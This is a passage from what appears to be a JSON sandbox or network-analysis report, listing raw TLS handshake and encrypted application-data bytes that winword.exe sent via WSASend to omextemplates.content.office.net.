  553. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xcd\\xbf\\x8d\\xbd\\xa1\\x93\\xc2\\xeew\\x91$\\xb1\\x9aj\\x03\\x17\\x90u\\xa7\\xc8\\xef\\x19knr\\x1c\\x7f\\xf1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  554. },
  555. {
  556. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x95\\x82j\\xdf\\x83\\xa9l\\x90\\xe3\\x15,\\xec\\xc90\\x12\\xb7\\xe9\\xd2\\xb2r\\xbc\\x17\\xf7\\xc8\\xa9w\\xf0t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  557. },
  558. {
  559. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010jg\\xce\\xedc\t\\xd0\\xa6f\\xffm\rhr\\x03@\\xd8/zs\\xc7\\xc9\\xb7\\xec\\xe5i~\\x92h\\xfe\\xbd\\xa4l\\xe5]\\xe0\\x91,\\xe6\\xads\\x974\\x83\\x9al\\xcb\n\\x8d\\x87\\x8d\\xe7\\x19\\xbb\\x155\\x98\\xbb\\x90%\\xa0\\xb3\\x81\\x08\\x126\\xc8`\\xfey\\x0fi\\x94qma\\xca\\xcfc\\xb0\\xe2\\x1e$en\t\\x11\\x10\\xf5\\x12\\x04\\xfd\\x97*k\\xe3!\\xc2\\xcd\\x88\\xff\\xa9\\xc7\\xf7\\xc6\\x8c<\\xe6|m[\\xb9\\xa5\\x96\\xeao\\x9dh\\x81\\xf2\\xf9v\\xd6\\x96\\x1d+\\x8c\\xa7\\x02\\x86\\x7fi\\xe0y\\x96\\x0e\\xf3\\\\xb0\\xa7\\xd0d-\\x08+\\x95f\\xd7\\xb2\\x04u\\xbb\\x91\\xa2\\x1f$wu*6w\\xe2\\xa2\\x175y6q\\xc4y\\x11g\\xe3\\xf3j\\x86h\\xd3(\\xfd&m>\\x08\\x93\\xc2\\xea\\xb0\\xd9\"\\xf7\\xef\\x8d\\x94\\x0e\\xe0\\x1e\\xb2o\\x9d\\xa6\\xe9\\xf5\\xd1\\xec#98\\x1a-\\x94(\\x95\\x9fen\\x8d\\xaa\\xe8\\xa4\\xb4\\xc7\\xed\\xca\\xd1\\xe2&\\xb0\\xf4\\xe0`\\x1f\\xdcsy\\xf5\nx\\x186\\x05\\x99?\\x8eg\\x92\\x10\\xad%>\\xd7"
  560. },
  561. {
  562. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010s\\xda%9\\xbd\\xc9\\xc0\r\\x01\\xd8\\xd1\\xdfp\\x8b\\xaa\\xa4\\x05m\\xb3\\xe7\\x1a\\x11\\xc8\\x14v\\xc4v\\xe3\\xad\\x7f\\x0c9\\xbb\\x95\\xcd\\x94\\x9aq9\\x0c\\x07w\\x8e\\xcc\\x08\\xbb\\x158\\xdc(\\x18\\xc10\\xf1\\x1f\\x0c\\x82\\xee<0\\x08\\xb5y\\xb3\\xb8\\x8fl\\xa4f\\xb7\\xd5xr~\\xaa_ph\\xec|n\\xd4\\xdbt\\xdc)\\xab\\xe1cm&\\xb6\\x0bmt\\xe3t\\xb5\\xee\\x94u\\xa1\\xb3\\xbb\\xce\\x96\\xe2:f\\x9a\\xc8\\xf0\\xda\\xef0h\\x8b\\x1f\\xc6#\\xe5\\xaf\\x9b1~\\xd8\\xe7\\x02\\xd1j\\x1c\\x19d\\xbb\\xeb\\x10\\x9e\\x10\\xa3\\xbe\\x13\\xf8\\x84xi\\xe8]_m\\xc2i\\x95\\x19?`&\\xbf\\xdd\\xa0a*^$\\xb4[\\xefcdu\\xedj\\x80\\xfb\\xcf$\\xf9l\\xfc#\\xaf\\xcb\\xf6i)h\\x91\\xec\\xfa\\xd2@\\xf7\\xf9[\\xea\\xda3\\xb4\\x80\\xf9\\xc7\\x17\\x84\\x84\\xe5d\\xf4\nc\\xf7\"\\xac4\\xc2\\xe3\\xbf\\x7f+\\xb1=r\\x87\\x11\t\\x89\\xe7\\xa9i\\x05\\x9cl\\xb4\\xb3\\x7f\\xe9j\\xd5\\xbbl.\\x9a\\xf2\\x03\\xaa\\x8b,'\\xca\\xc5z\\xb1\\xc7"
  563. },
  564. {
  565. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xee!\\xe1d\\x90\\xe2\\xd9\t\\xf6s'w/\\xca\\x043\\x1f_vn\\xc2\\xc9.,x\\x99]\\x81\\x88\\xa9\\x8d\\x18\\x14\\xf8\\xcb\\xefx\\x8c\\xcf=\\x9a\rs\\x1a\\x83\\xc0\n\\x9dz\\x05\\xe1\\x00a'\\x01\\xc2\\x82\\xa5f\\x90r\\x82\n\\xa5*\\xf8\\xf2\\xab\\x7f\\xbd\\xad\\x8f\\x7f\\xa6b#\\xdckl\\xab\\xf5a\\x15)\\xba\\xd2%\\x02\\xd4\\x93x-[\\x7f\\x1bf\\xe6\\x1e\\xbb\\xc6m3c\\xb8\\xed2\\x11e\\xd6\\xc3\\xce_t=\\x8f\\xfa\\xdb\\x1e\\xf9e\\x88\\x90e\\xc6j\\xc3w{\\x11\\x99p\\xcc\\x06d\\x8f\\xa9\\xb6\\x8c\\x0b06\\xd3\\xd6\\x93=\\xed>k\\xaac\\xa1\\xa4\\xda\\xd3\\x16\\xac\\xc9\\xe5(\\x92\\xe9\\x0fa3]\\xab\\x86\\xb4\\x13a\\x87\\xcbg_\\xa4\\xb8\\xbax:\\x88\\x03\\xf6c\\x91\\xea\\xfb\\x19\\xc1j\\x1dr\\xe4zn\\x06\\x99\\x95\\xf2\\xe69f\\xb7<\\xbc\\xd9\\xfdl]\\xf9\\xd5h\\xcd\\x00\t\\x7f\\xa3\\xe5\\x18n\\xf6\\xd5\\x9e\\x12\\x96+\\xe8g\\xab\\x9f\\x14\\xab\\xc40\\xcdu\\x97fv\\xa3\\x03\\xb3\r\\x18\\xfe\\xd44\\x87\\xf1\\xf7\\x8e\\xbe"
  566. },
  567. {
  568. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xe5\\xa4l\\x8e:qxj\\x00e\\xc8\\xb4u\\x11w\\xf0\\xee\\xe0\\xbcx-\\x95\\xd5\\xb2\r\\xea\\xba\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  569. },
  570. {
  571. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90\\xc4q\\x96\\x1eg\\x909\\x126b\\x7f\\xed\\xe6\\xba\\xffy\\xa8\\x8b\\xeb`\\x8c\\xea\\x92\\xa8m\\xdc\\x8b\\x04\\xe5=\\xb8\\xe8\\xb8s\\xeb\\xbd\\xcd\\xfa&fh\\xae\\x8a\\xe6c\\x10\\xa1\\x06\\xcdp\\x97bh\\xff|\\x00^5w>?\\xe0}\\xfa\\xcf\\x1f\\xbb\\xec\\xe8\\xe1\\xbby\\x04\\x05i\\xab\\xe3\\x11\\x07\\x14\\xf1\\xd1\r\\x83\\xf3l=:)z\\x1d\\xe6\\xf8\"\\xaa\\x0f'\\xdf\\x8a\\xfc\\xe7\\x93\\x90\\x94+{\\x7f\\xe8r\\x0f\\x8b\\xda\\xb84\\xa4\\x14!u\\xc63\\x8f6\\xc4\\x91\\x8c\\\\x0b\\xc8\\xa29;8\\xbc\\x84_\\x14\\xce\\xb5\\xefi\\xa7\\xab#\\x066ze[\\xaa*n!c-\\x0c\\xdf\\xd2\\x91t\\xa9\\xc1\\x03\\xfa\\xea\\xc1\\xec*\\x8f\\xaequt\\x9a\\xd9\\x1f\\x00u\\xeb\\x01>\\x1f\\xdby\\xc4\\xf5g\\xbf\\xab\\xb1\\x8ag5\\x02v\\xf1\\xbcdc&1\\xe0\\x0b\\xdf\\xa34f\\x88\\xd6e]3\\xb1\\xc8\\x0e\\x99m\\xbe\\x9f(0\\x9e\\x17\\xb3q\\xb6\\xe7\\x99z\\xfe\\xd4\\xb4\\xb4!\\xc8lr\\x02\\x84!b3\\xb8g\\xf4\\xad\\xfbm\\xc6a\\x93"
  572. },
  573. {
  574. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd3;\\xd4<\\x8d$\\x9a\\x83\\x97q\\x86\\xca}\\x02\\x1b\\xbd\\x8a\\xa1\\xf6\rbxdoq\\xa2\\xb6 \r\\xfb#\"\\x10|\\xcfc\\x8f\\xbb(\\xce\\x1c\\xddht(\nrs[\\x16\\x0b\\xee\\xb1q\\x8a\\xe0/\\x1b#@t\\x8b\\x1b\\x99\\x16\\xb0\\xcf4\\xe2\\xcc\\xe6a\\xce\\xd2\\xcb'7w\\xd8\\xdfv\\xb1\\x19\\xf9\\x81\\x86\\x00\\xaf;\\x06\\xa1und\\x81\\xcd1\\xbf\\xb3d\\xe8y\\x05\\x02e\\xac\\xd2iu\\x80:\\x9d\\xcf\\x9dy\\x1ajhw\\xb3r\\x10{\\xf2\\xcf\\xbdx<\\x7f\t\\x14v +\\x8e-\\x8e\\xc7\\x1aw\\xe06\\x98\\xd7\\xa0q\\x88\\xe3z\\xf1\\x1bsz\\xd9a%\\xb4\\x9f\\xdc\\x8d-n\\xd1\\x00\\x9af\\xe5\\xde\\x11\\xeb\\x9ab\\xb9so(a\\x0e\\x98\\x1b\\xedq\\x9e\\x02\\xcc|s\\x87@\\x04\nyv\\x19\\x96\\xbc\\xbd\\xf2\\x16\tl\\xbe\n\\xd7\\xbb6\\x89\\x07u\\xc3fh\\xa7)p\\xbd\\x10\\xc9az\\xb3\\xf9l\\xd6\\x0ca\\x14\\xad\\xd9\\x9e\\xe9a\\x81)\\x8c\\x8c\\x96\\xe0%2\\xcf\\xd8t-\\x18\\xc1\\x8e\\x8f\\\\x00n"
  575. },
  576. {
  577. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8d\\xf3\\x88\\xa8\\xd7\\x1e\\xb2\\xa9#]\\x86\\xf6r\\xc6b\\xad1\\x8f\\x08n\\xd5i\\x1a\\x08\\xff\\xb9,\\x06\\x9ae\\xaa'\\xa8\\xcax\\xa7\\xbb?\\xc9~\\xee\\xc3\\xc2\\xb4i4m\\xbb\\xf7\\xfe\\x82;\\xe4\n\\xc9\r\\x8d\\xf0_\\xc5l\\xabdn\\xbf\\x96?\\xa6\\x01\\x07\\xc9\\xa3\\xd1\\x83l\\xc5\r\\xbc\\xe2\\xfb\\xb7t`t\\x14\\x16c\\x0b\\x83\\x95u(\\x01}c\\xe4\\xa2\\xb8\\xafk\\xad\n(\\x0e\\xbf\\xa3k\\xe9\\xf7\\xe9\\xab\\x82l6j\\x87\\xae\\x1dn\\x800\\xa2\\xf6\\xfd 0\\xe4=^q\\xfd`f\\x8d\\xe0\\xb9\\xfaah\\xd12ex\\x8e\\x11\\xed`\t~e\\xe7\\xd5\\xea\\xb6z\\xc6\\x88\\x02c\\x1e9\\xd4\\xecl\\xd3\\xfb\\xf8\\xbe\\xba\\x18th)n7(\\x16)&t\\xbd\\xd8)\\x8a\\xc2-|l\\x89\\xd6.cq\\xe1\\x93st\\xa0&\\xde\\xf0p3\\xaf\\x89wv\\xa2\\x071\\xf3\\xa4\\xb1a\\xa8ix\\xba\\xe9q\\xd9op\\x1e8a\\xff\\x06\\x85\\x12\\xc7s'\\xd2=\\xc1\\x07\\xa0i\\x7f\\xb3@\\xf1\\x9c3\\xea\\x03\t\\xa9\\x1f\\x01"
  578. },
  579. {
  580. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4\\xfc\\xb5\\xd3n\\x7f2k(\\xefg\\x87bd\\x94:\\x18\\xbe0\\xec\\x7ff\\xe1\\x05g%n\\x97\\x94\\xd3`\\xa5\\xc6]\\xccr\\x99\\x8fwe\\x98\\xda\\x13\\x93g\\x1e\\x1f)4\\xfb\\xf7\\xec\\xdc\\xa1\\xd2\\xf4\\xb2v*\\x1b\\xcfg\\xdd\\xf1kw\\x89\\xb1&\\x1a\\xe4\\x06\\x8fd\\xd3ja8\\x16n\\xad\\xab\\xc7\\xf3\\xd4il>\\xf9\\x8as\\xde\\xe2/h\\x16\\x84\\xf1w=\\xb6\\x8a\\xb4\\xafw\\x9d\\x92\\x8e\\x80jn\\x97\\xd6}\\xfe3\\xb7\\x8cuh\\xd1\\xde\\xd9\\x18n\\xa1\\x16d\\x06\\xdb\\xf4\\x8c1v\\xec\\x02c\\xd3\\x08\\xbez\\x8c\\x8e\\xfd\\xda9\\xed\\x14\\x8c7\\x86\\x13\\xfey\\x89\\xe6\\xeakl\\xe4.\\x16\\xbe\\x9bvy\\xc6]vfo\\xb9\\x13\\x83>\\x9d\\x89\\x92q:\\x9axq\\x11\\xd4\\xdf wb\\xddo$\\x0c\\x89~\\xc4\\x9do\\xde\\xf3n8\\xca\\x8fo]\\x14+\\xe7\\xdf;\\xe8\\xb1\\xc3(\\xb2]\\xe5\\x13\\xd2\\xd0\\x96u7]\\xb9\\xde\\x88\\xb9fk*\\x0c\\x08\\xa3\\x125\\xf1m\\xf1\\xf5\\x7f\\xe7t%\\xd3p\\x05\\xbflj"
  581. },
  582. {
  583. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1q\\xec\\x10\\x1c\\x8cz\\x13\\x82\\xb2#\\xd90;\\xa5\\xc6\\x07\\xe0\\xcf\\xf7j\\xb8hae\\xa0\\x0bd\\x91\\xa3lj\\x89\\x95\\xa3v\\xebz\\xb0\\xb6\\x1d\\xfd\\xa6\\xc4\\x05\\x7f\\x7f\\xef\\x01\\xda\\x084\\xd0%\\x8e7\\x1f\\xe3p\\x86mx\\xdd\\xac\\x94\\x94.v\\x08k\n\\xd7\t\\xf5\\xca\\xedc\\xd6\\x8f\\xb5\\xd3\\x1f6\\xcd\\xb5z\\xd3~\\xb7\\xe6p\\xbb\\x7f\\xb0r\\x86\\xd3\\xbbor\\xa7e\\xe1rwu\\x19d\\xf5<\\x0f\\x18\\xa6ug\\x02\\xae\\xa3\\x10\\xe1\\x91ut1!\\xf6\\x08\\xe5\\x14\\x13\\x1f\\x95\\xbd\\xc9&\\x83u\\xe0\\xe8\\xa6\\xec7\\x84\\x03\\xb5\\xa1\\xe1\\xdcu\\x9cy\\xfd\\xe8\\xaf\\xcc{\\xd5\\x14a\\xaf\\@\\xe0x\\xe8t\\xf6\\xfc2:lg\\x98\\xe5\\xc4\\xdf\\x0b\\xb2\\x91\\xe0k\\xa7\\x1c+\\x81\\x86\\xa7\\xdaxs\\xa3tk\\xb8e!li\\xee|g^\\x18v!\\xbf\\xa9\\x02y\\xc3\\xa5%qu\\xc6\\xc6\\x06/\\x16-\\x1c\\xc4x\\x0c\\xc5\\x828\\x06j\\xee\\x02b\\x14]\\xd9x\\x02!z\\xb13\nf7+\\xdbn\\x96\\xd0y\\xbf"
  584. },
  585. {
  586. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdfa\\xe7\\xd0h\\xf0\\xde\"\\x83\\x88@\\x08xy+\\x97\\xd7\\x93a7\\xbd\\xd4\\xe9\\xc3\\x8e`'\\x8d\\x04a\\xa0\\xbf\\xa3;\\xe3\\xe1h2\\xff\\x8fy\\x00\\xc7kl8y\\xf1\\xccv\\xcf\\x0ek\\xd9u\\x88m\\x8eq\\x86\\xf8\\x80\\x8e\\xe6]\\xbb\\x86d\\xfb\\xba$mn\\xea\\xb5+\\x15\\x9e\\xe8\\xdb\\xc2o\\xd1\\xb6\\xd9\\xd2\\x18\\x1e\\xcb\\x08-oy\\xe2\\xe4\\xae\\x8b8\\x1b\\x038\\xff\\x9e\\x95\\xa0\\xf8\\x96\\x0b\\x11$\\xf4gyt:\\xcc\\x8a\\xeb\\x8e^u\\xddb\\x81\\xe6r\\x86\\xfb\\x7f\\x0c\\xdc\\x8a\\xb5\\x9f\\xa1.\\xc8\\xcb\\x16\\xcb%\\xed17\\x02j\\x99^\\xd7\\xdb\\xd2\\xa9^[\\x03\\xf1\"\\x11m\\x19\\xb4\\xc6t\\xee'\\xfd\\xa5;\\xcc\\x9dz\\x97\\xf0\\xd8\\xd5w\\xf7\\xfb\\xef\\x1a\\x037\\x97a\\xe3 )wkg.\\xbdc\\x06\\x02\\xd8qw\\xe4\\xc6gc>\\xec\\xa9\\x1f(\\xdf\\xc2\\x0b1\\xaa\\xf0[\\x16bo\\x98\\x05\\x7f\\xbb\\xb8\\x15\\x08=j!\\x9b\\xdb\\xa5\\xc1\\x00\\xfa\\xd0bbb\\x1bl\\x7f\\xaf\\x17u\\xef\\x90\\x91\\x9ac\\x82\\xc9\\xc3"
  587. },
  588. {
  589. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0104\\xd5\\x89\\x06\\xd5\\x08\\x19a\\x81\\x04\\xf2\\x91v\\xf5\\x96|\\x14\\x0c\\x1c\\x15\\xd3\\x19\\xa06\\xaa\\x8dc6>\\xea\\xc1$\\xe5\\xe8\\x84\\xce\\xf1t('\\xeb\\x0f{\\x85z\\x1a\\x8f['9\\xb8^\\xbe\\x01\\xf3g\\x12\\x9e\\x83li\n\\x13\\xff\\xfd\\xf6\\x02\\xc1#\\x0c\\xf2\\xd7:#\\x98\\x8d\\x7f\\xbdz\\xac\\x97\\xd1z\\x16r7\\xc0sd\\x99\\x88\\xdd/\\xffhm\\xf4\\x88h\\xa5\\xa9\\x8es`\\xc2v\\xe7\\x14\\xd9\\x8fk\\x00.z\\x8b\\x08\t\\xd8\\x13\\xaag|\\xe0\\xe8]dpsc_\\xbd\\xd8\\x8b\\xaf^\\x98\\x08\\xb7y\\xb7c\\xd3\\xa1\\x81\\xf8ba\"\\x8em\\x8a\\xe6\\x91\\x9auv\\xff!\\xdd0\\xeb\\x1a\\xf3\\x9f.&o\\xa5\\x9e6\\xfa\\x86\\xe1e\\xdb\\x8d_.\\x9b\\xce\\x17\\xa3\\xcb\\xfe+r\\xbd\"\\x0b\\x8a\\x9d\\x08\\xbcc&\\x9c\\xc9#\\xa0\\xe2\\xaaxp4\\x01r7\\x9f\\xdd~iyc\\x10vs<\\xd7\\x90\\xda]\\x85\\xbdi\\x10\\xeb&z\\x18v\\x17\\xe8).)o'\\x0b :.\\x8f\\xd5{\\xecf\\xb9c\\x19>m"
  590. },
  591. {
  592. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x19\\xbb\\xed(\\x9aqrb\\x9e\\xa8\\xf3e^/\\xff_\\xbf\\x10\\xa0:#i\\xf75\\xfe\\x93\\xbe\\x87#\\xfc]g`\\xe2\\xf8\\xf2\\x9c\\xc3\\xbd\\x17\\xb9\\x0f\\xe6~-#\\xe3\\x9bl\\xb0f\\xf0l/\\xd3f+ \\x04\\xdfy\\xc3s\\x8dz\\x92[n\\xa5o\\x18\\xfe\\x16\\x9d\\xed\\xc6\\xe2\\x04\\xbf\\xfa[\t\\xb8\\x0e\\xa8\\xfa(\\xa7\\x92\\xbbr@\\x8a\\xe0\\xa7\\x95\\xe8\\xd6\\x11\\xa31\n\\xc4\\xd5\\xfc\\x05\\x9e\\xf6\\xe0\\xe1ze\\x95\\xc57\\xbe1\\xfb\\xe0\\xd1\\xdf\\x93,c\\xa2pu\\x0c\\x13\\xa7\\xb7\\x1a>j)o\\x96\\xa2\\x93\\x9enf\\x06\r\\x15h\\xe5s\\xea8\\x9c\\xf6\\xa9\\x82\\xebx\\x99kd\\xc3\\xd2\\x06\\x8c\\xb2j\\x9a\\xd1\\xb55z#\\xc2=\\xf5\\xb8\\xce\\x1e\t\\x94*;.\\x02d\\x16\\xaa\\xc5\\x0f\\xac\\xe2\\x96j\\xc3\\x9b\\x92\\xd4\\xf0\\x9b\\x1bs&\\xed\\xaeu\\x84l6\\xe3f\\xf46\\xdc7\\x951\\x1e\\x94t\\xe9\\x0e\\xdb\\x95\\x931{\\xe5\\xaf$\\x7f0?l'\\xee7\\xc3\\x07\\xb5\\x04\\xbf\\xf19\\x0b\\xef\\xacs\\xc4\\x18\\xfej\\xee"
  593. },
  594. {
  595. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeb]7\\x96j\\x03\\x105\\xdeh\\x14@p\\xe6\\x8d\\\\xe0y@$\\xcaw\\xb6\\xf4\"\\x1b\\xa4b\\xf9^nn#\\xc8\\xc5\\xcba6/b;i\\xcby\\xd9s\\x10\\xfe\\xc7:\\xa1\\x8e\\x10p\\xfc\\xacx\\xa3~\\xd1\\x05]\\x95\\x145\\x83\\xc7\\xc6\\x00v\\xf4\\xd8\\x8ci\\xf9\\x01\\xd6\\xe0v\\xfd\\x8a\\x13;\\xbe\\xb2=\\xe3e\\xba{\\x1c0~\\x023i\\\\xfc\\x84m\\xd5>\nv\\xc1^\\xa0@\\x00\\xf8\\x99\\xc3\\xae\\xecbiw\\x86m8w\\xc3~\\xa2\\x07\\xaf\\xaf\\x1cr`\rlo\\xc9\\x03\\x9a\\x99\\xd5q\\x8e\\xd5\\x00@\\xfa\\x04\\x0b\\x85i\\xcd\\xaf_\\xb8a.\\x00>b v\\x19\\x1e0@)\\xa5\\xc9[\\x8c\\xaf\\x1f\\x08p\\xb1#,uq\\x98o\\xf4k\\x1e(\\xcc\\x8b\\x0c\\x9e\\xe8\\xd4\\x87\\xe1\\\\xa2o\\xe0`{\\x12\\xe9\\xa4\\xe1\\x1a\\xecp\\xab\n\\xaf\\xc2\\xda\\xd9\\xc59\\x875[\\xf4\\x82zx\\xe5\\x99\\xc9\\x92\\x9f7\\xa4\\x10\\xa75\\x14\\xb0naj\\x97\\x00\\x0c\\x857\\xdd\\x93\\xf0rv\\xa3z\\x05/4\\x97f"
  596. },
  597. {
  598. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010f\\xdbn;%\\x19u\\x8f\\xa9oh\\xed\\x17a)@\\xb6\\xf9qai\\x93i\\x82\\xa0\\xaf8\\xcd\\x977+\\x1e\\xc4`\\xcd\\x10\\xa0f\\xa7\\x93\\xdf9\\x13\\x0es\\x1c\\x14\\xa4\\xae\\x0e\\x87_6\\x96o\\x13>/\\xf3|~\t\\x00m\\xfa\\xd6z\\xf6w\\x1c\\x14\\xd5k\\x80\\xfa\\xd0\\x8c3\r\\x17\n#vr\\xda6\\x9d\\xcf\\xdb\\xe9+?\\x19b)vo-\\x8d*\rh\\x8f{\\x08\\xc8>!\\xbe\\xe2{\\x15%j\\xdcf>q\\xd1\\x8f\\xaf\\xc4\\x89\\xd3n~\\xf5gg[.\\x8eu\\xb0m\\x02~q=\\xf1\\xec\\xc1\\xcc[\\xba\\xdd\\x88p\\xa5\\x1f1\\xac3u\\xb4\\x80\\x1d\\xc2q\\x85t\\xe8\\x8acz\\x88a\\xcc\\xc4x\\xe5\\xae\\xe5m\\xfb|m\\xa6\\x12\\xd9\\xb8f\\xcc\\xb2\\x18\\xbexar \\xe9>\\x86\\x08 \\x8f\\xcevl\\xe8o\\x01j\\xb3\\xa9f\\xd8\\xd4j\\xbd\\xc8\\x17\\x84\\xe4?\\x06\r\\xc6\\xea~\\x83\\x90}dx:v\\x1c\\xef\\xa45\\x16ri5\\xfb\\xfb\\x9e\\x1a\\xd6\\xd0\\x0e\\xed\"\\x91t\\x00\\x8b\\xaf\\xb9\\x06"
  599. },
  600. {
  601. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010ke@\\x8c\\xd4y8.x\\xf8\\x0b\\x80\\xc6\\x842\\xccn\\xfc\\x14\\xf7k\\x19m\\xb3\\xde\\xb8\\xad|\\xe5\\xdf\\xcd\\x98\\x93\\xa30\\xcc_\\xe3\\xc3\\xdb&5\\xd1+|\\xb7\\xe2\\x03\\x1a\\xad\\xa3\\xa9(\\x95\\xcca0\\xd7\\xdc\\x1eik\\xe9'[\\x19\\x98\\xc1\\xc4n\\xcfx\\xd4\\x0e\\xbb`\\xb4<\\x98:i\\xd7\\xcb\\xc6\\xfa\\x08=\\xb6\\x05\\xd3\\x8d^\\x84v\\x17\\x96\\xd7\\xc1\\xf8v\\xf4\\x12\\xff\\x04xm\\x87\\x97\\xec\\xd7\\x8b\\xe1\\x9b*>\\xb8\\xdby\\x17\\xadkr\\x04\\x1b\\x1d\\x885\\x9d\\x89\\xfd\\x86\\x82\\xdc[\\xfb\\xcf\\x8d36\\x83\\x12\\x88v\\x1c\\xb3zf\\xee\\xd1\\xb0\\xe6\\xa2q\\xcb\\xd7[\\x19\\x03\\x84\\xf9h?\\xf0\\x9b\\x8b\\xbb\\x80t2~\\x8a\\xaeth1&\\xb2\\xd3ej#v\\xe9\\xe4\\x02\\x0b\\x8f\\x8e\\xf9\\x10-\\xe7\\ \\xed#\\x8ax\\xa9\\xc7\\xb4?\\xfb\\xc8ny\\x85\\xc9\\xe0\\xac1\\x98\\xc1<\\x8an\\xe1\\xd0\\xea9\\x16_\\x02[\\xdd<\\xb1\\xbe\\x80\\x81\\xa0\\xa0\\xda\\xce_t\\xd9x\\xceu\\x1d\\x1bd \\xf4\\x1e\\x81\\x13i\\xacz"
  602. },
  603. {
  604. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa1t\\xcf\\x0b9q\\xe37\\x98=\\x82\\xa2\\xa5\\x92\\x13\\xda\\x82\\x1d\\x11\\x99[\\xadb\\x12o\\x17\\x01\\x10<\\x15\\x9co\\xbff\\x89;\\xa0\\xce\\xcb\\xe3\\x7f\\x9f\\xed\\x89d\\xaa\\x0c\\xa6uar\\xffy\\xb8\\xec}al\\x0e9\\xe2\\x86\\xb884\\x0f\\x82k\\xfcb\\xff\\x90\\x80\n\\xb5n\\x052\\x07\\xcaq<j\\x91\\xfb\\x195rg\\x16\\xa2hv\\x96\\xcfb'\\xc8\\xc3\\xfa\\x8f\\xea!y\\x84\\x91on\\xe5c\\x8b\\xf1\\x94@\\xc7\\xbb\t\\x97\\xf1\\xab\\x86\\xa2\\x8f\\x1f;w\\xaa\\x89\\x8e\\xcf\\xef\\xf2\\xa8\\xe8\\xf8z&\\xa3g\\xbb\\xdatb\\xb2\\xc5\\xf9\\xd5\\xed%\\xf4\\xcaw}\\xb9x\\xdaw\\x89fb\\xc8\\xe6\\xac$t9\\x80\nx\\x04\\x0b-*a\\xe2qm\\x9c7\\xdc\\x8f\\xfe\\xd2$t\\xa5\\x1b\\xb5q\\x8e_0z\\xe3k\\xb8\\x8f,\\x98\\xca\\xe2\\xa5u\\xc9\\x00\\xbc\\xf8w\\xbc>\\x81}\\x0b\\xf9\\x19\\x8b\\x93/\\xa2a\\xb0\\xd7\\x14\\x14\\xbf\\x0e\\x19ug8nurd\\xb4r`l\\xb1s\\xed\\xcc\\xa5\\xe6\\xf4\\xbc{\\x10\\xfd\\xb3h"
  605. },
  606. {
  607. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95n\\xcf\\xbad\\x8f\\x98\\xc2a!\\xe1\\xf8\\xcb\\x89&\\x02\\xca\\xff_m2\\x89\\x867\\x90\\x9dh\\xc61\\xf5\\xa0y\\x03\\x1c\\xaeoh\\xf1\\x97\\xeb\\xa3\\xa5,\\x13+\\x8b\\xb6\\x812+3\\x7f\\x06\\xbb\\x86y\\xbb\\x84\\xaa\\x15u?g\\x9c\\x89\\x1f\\xa8\\x84f\\xdcd\\xf7n\\x16p\\xabm\\xeb;\\x94\\x97t\\xd8\\xc7\\xde\\x96d<0\\xe5w\\xc5\\x14u]e\\xa9xut\\x91b\\x82\\xa0\\xcf\\xc5\\xfb\\xf2\\xeb\\xb8\\x80a\\xc7\\xbcyva\\xcf\\x9f\\x96\\xbe\\xe2\\xfc\\xd7\r\\xe1\\xe4\\x10f0]\\xaa\\xdbx\\xf6m\\x14\\xb5\\xabn\\xb6\\xe8\\x173\\xf1y\\xa6\\x9f\\xdd\\xfd\\x8f\\xf7\\x88a\\xec]\\x1f@\\x96\\xf4\\xb5\\x84*r\\xca|>3&\\x16tq&\\x13\\xdev\\xf4t\\xa7\\xdb\\xaf\\x06\\xf6\\xf9xv\\xe23\\x17\\x07@\\x9b\\x16\\x13\\xc3\\xb5\\xb0\\xb7\\xe7\\x00\\x9dw\\xa8\\xcf\\x0f\\x7f\\xd2a2o\\xa7\\x11~l-\\x9b\\x9e\\xbe\\xc0;\\x94t\\xdb\\x84\\xa7h\\xe7\\xcd\\xcf\\xea\\xdd\\x04\\xd7\\x08\\xcbpu\\xb5d\\x81ej\\xa1\\xc4 //\\xaa>se"
  608. },
  609. {
